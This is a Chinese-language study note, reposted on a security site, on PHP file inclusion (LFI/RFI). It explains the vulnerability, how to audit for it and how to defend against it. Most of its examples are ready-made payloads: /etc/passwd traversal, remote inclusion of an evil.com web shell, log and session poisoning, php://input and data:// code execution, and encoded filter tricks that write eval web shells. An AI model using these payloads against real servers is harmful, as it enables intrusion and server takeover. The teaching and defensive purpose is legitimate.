第69天-Web攻防学习笔记:文件包含漏洞(LFI/RFI/伪协议/无文件利用)

admin 2026-03-09 02:32:06 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 该文档系统阐述了Web文件包含漏洞的原理、分类与利用技术。核心在于用户输入控制文件路径导致敏感文件读取或代码执行。文中详解LFI与RFI差异,介绍了白盒审计与黑盒测试方法,重点讲解了日志包含、伪协议利用及编码绕过技巧。最后提出白名单限制、关闭危险配置等防御措施,为渗透测试与安全防御提供了实用指南。 综合评分: 85 文章分类: WEB安全,漏洞分析,渗透测试,代码审计,CTF


cover_image

第69天-Web攻防学习笔记:文件包含漏洞(LFI / RFI / 伪协议 / 无文件利用)

原创

萧瑶 萧瑶

AlphaNet

2026年3月6日 18:59 韩国

在 Web 应用开发中,“代码复用”是一种非常常见的开发模式。开发者通常会将一些通用函数或页面逻辑拆分到独立文件中,通过 include / require 等方式在需要时调用。这种机制虽然提高了开发效率,但如果 包含文件路径可被用户控制,就可能产生一种经典的 Web 安全漏洞——文件包含漏洞(File Inclusion)

这种漏洞不仅能够读取服务器敏感文件,在某些条件下甚至可以进一步实现 远程代码执行(RCE)。在渗透测试、漏洞赏金以及 CTF 竞赛中,文件包含漏洞一直是一个非常核心的攻击面。

下面系统梳理文件包含漏洞的原理、分类、审计方法以及常见利用技术。


一、文件包含漏洞原理

文件包含(File Inclusion)本质上是一种 动态加载代码或文件内容的机制

在 PHP、Java、ASP.NET 等语言中,程序可以通过函数读取并执行指定文件。例如:

<?php
include($_GET['file']);
?>

如果开发者未对 file 参数进行严格限制,攻击者就可以通过构造输入控制包含文件,从而触发漏洞。

因此文件包含漏洞的本质可以总结为:

用户可控输入 → 参与文件路径 → 被服务器加载执行

当攻击者能够控制这个路径时,就可能实现:

  • 敏感文件读取

  • 代码执行

  • WebShell 写入

  • 权限提升

  • 服务器信息泄露


二、文件包含漏洞分类

文件包含漏洞通常分为两种类型:

1、本地文件包含(LFI)

Local File Include,攻击者只能包含服务器本地存在的文件。

例如:

http://example.com/index.php?file=/etc/passwd

服务器可能读取系统文件:

/etc/passwd

LFI常见用途:

  • 读取系统配置文件

  • 读取网站源码

  • 读取日志文件

  • 配合其他漏洞实现代码执行


2、远程文件包含(RFI)

Remote File Include,攻击者可以包含 远程服务器上的文件

例如:

http://example.com/index.php?file=http://evil.com/shell.txt

如果服务器开启 allow_url_include,则远程文件中的代码会被执行。

远程文件内容:

<?php system($_GET['cmd']); ?>

访问:

http://example.com/index.php?file=http://evil.com/shell.txt&cmd=id

即可直接执行命令。


3、LFI 与 RFI 的差异

漏洞能否远程利用主要取决于 服务器环境配置

关键配置:

allow_url_fopen
allow_url_include
  • 关闭:只能 LFI

  • 开启:可能触发 RFI


三、文件包含漏洞审计(白盒)

在源码审计过程中,可以通过 函数搜索 + 代码追踪 快速定位漏洞。

1、PHP 审计重点函数

文件包含相关函数:

include
include_once
require
require_once

两者区别:

include

  • 出错时只产生 Warning

  • 程序继续执行

require

  • 出错时 Fatal Error

  • 程序终止


2、Java 审计关键点

Java Web 项目中,文件读取常见类:

java.io.File
java.io.FileReader
java.io.BufferedReader

如果路径来自用户输入,也可能导致文件读取漏洞。


3、ASP.NET 审计关键点

常见文件读取类:

System.IO.FileStream
System.IO.StreamReader

如果读取路径未过滤,同样可能产生漏洞。


4、白盒审计技巧

常见审计方法包括:

功能追踪

从功能入口分析调用链:

用户参数 → 控制器 → 文件读取函数

函数搜索

直接搜索危险函数:

include(
require(
FileReader(
FileStream(

伪协议分析

检查是否存在绕过逻辑,例如:

php://
data://
file://

四、文件包含漏洞黑盒发现

黑盒测试主要通过 参数特征识别 来发现漏洞。

常见可疑参数:

file
path
dir
page
archive
template
language
include

例如:

index.php?page=home.php

测试 payload:

?page=../../../../etc/passwd

如果返回系统信息,则可能存在漏洞。


五、本地文件包含利用思路

LFI 本身往往只能读取文件,但如果结合其他技术,可以实现 代码执行

常见利用方式包括:

1、配合文件上传

攻击者先上传 WebShell:

upload/shell.php

然后利用 LFI:

?page=upload/shell.php

执行恶意代码。


2、日志文件包含

Web服务器会记录访问日志,例如:

/var/log/nginx/access.log

攻击者将恶意代码写入 UA:

User-Agent: <?php system($_GET['cmd']); ?>

然后包含日志文件:

?page=/var/log/nginx/access.log

实现代码执行。


3、SESSION 文件包含

PHP session 默认存储路径:

/tmp/sess_xxxxxx

如果攻击者可以控制 session 内容,就可能写入代码。

再通过 LFI 包含:

?page=/tmp/sess_xxxxx

触发执行。


4、PHP 伪协议利用

PHP 提供了多种 Stream Wrapper(流包装器),可以绕过部分过滤。

常见协议:

php://
data://
file://
zlib://

六、常见伪协议利用

1、读取文件

file:///etc/passwd

Base64读取源码:

php://filter/read=convert.base64-encode/resource=index.php

返回结果为 Base64,可解码得到源码。


2、写入文件

通过 filter 写入:

php://filter/write=convert.base64-decode/resource=shell.php

配合 POST 数据写入代码。


3、代码执行

利用 php://input

?file=php://input

POST:

<?php phpinfo(); ?>

4、data 协议

直接执行代码:

data://text/plain,<?php phpinfo();?>

Base64方式:

data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+

七、CTF 常见利用方式

在 CTF 中,文件包含漏洞经常结合伪协议考察。

1、php://filter 读取源码

?file=php://filter/read=convert.base64-encode/resource=flag.php

2、php://input 执行命令

?file=php://input

POST:

<?php system('tac flag.php');?>

3、data 协议执行代码

?file=data://text/plain,<?=system('tac flag.*');?>

4、远程文件包含

?file=http://evil.com/1.txt

远程文件:

<?php system('tac flag.php'); ?>

八、高级绕过技巧

在实际环境中,开发者可能会过滤关键字:

php
<?
?>

此时可以使用编码绕过。


1、Base64 写入

php://filter/write=convert.base64-decode/resource=shell.php

POST:

PD9waHAgZXZhbCgkX1BPU1RbYV0pOz8+

2、ROT13 编码

php://filter/write=string.rot13/resource=shell.php

代码:

<?cuc riny($_CBFG[1]);?>

ROT13解码后为 PHP 代码。


3、ICONV 编码

利用字符编码转换:

php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php

可以绕过部分 WAF。


九、实战案例

真实漏洞案例:

http://testphp.vulnweb.com/showimage.php?file=index.php

利用 payload:

?file=php://filter/read=convert.base64-encode/resource=index.php

即可读取源码。

这类漏洞在 SRC漏洞赏金平台 中非常常见。


十、安全防御建议

针对文件包含漏洞,应采取以下措施:

1、固定文件路径

使用白名单:

$pages = ['home','about','contact'];

if(in_array($_GET['page'],$pages)){
    include($_GET['page'].".php");
}

2、关闭危险配置

allow_url_include = Off
allow_url_fopen = Off

3、严格过滤输入

禁止出现:

../
php://
data://
http://

4、最小权限原则

限制 Web 服务器访问系统敏感目录。


总结

文件包含漏洞是 Web 安全中 经典且极具利用价值的漏洞类型

攻击链通常如下:

用户输入 → 文件路径控制 → 文件读取 → 代码执行

结合不同技术,可以实现多种攻击方式:

  • LFI 本地文件读取

  • RFI 远程代码执行

  • 伪协议利用

  • 日志包含

  • SESSION 包含

  • 无文件 WebShell

在渗透测试、漏洞赏金、CTF比赛中,掌握文件包含漏洞不仅可以快速突破 Web 入口,还常常成为 服务器控制权限的关键一步

理解其原理、利用方式以及绕过技巧,是每一个 Web 安全研究者必须掌握的核心技能之一。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:AlphaNet 萧瑶 萧瑶《第69天-Web攻防学习笔记:文件包含漏洞(LFI / RFI / 伪协议 / 无文件利用)》

评论:0   参与:  0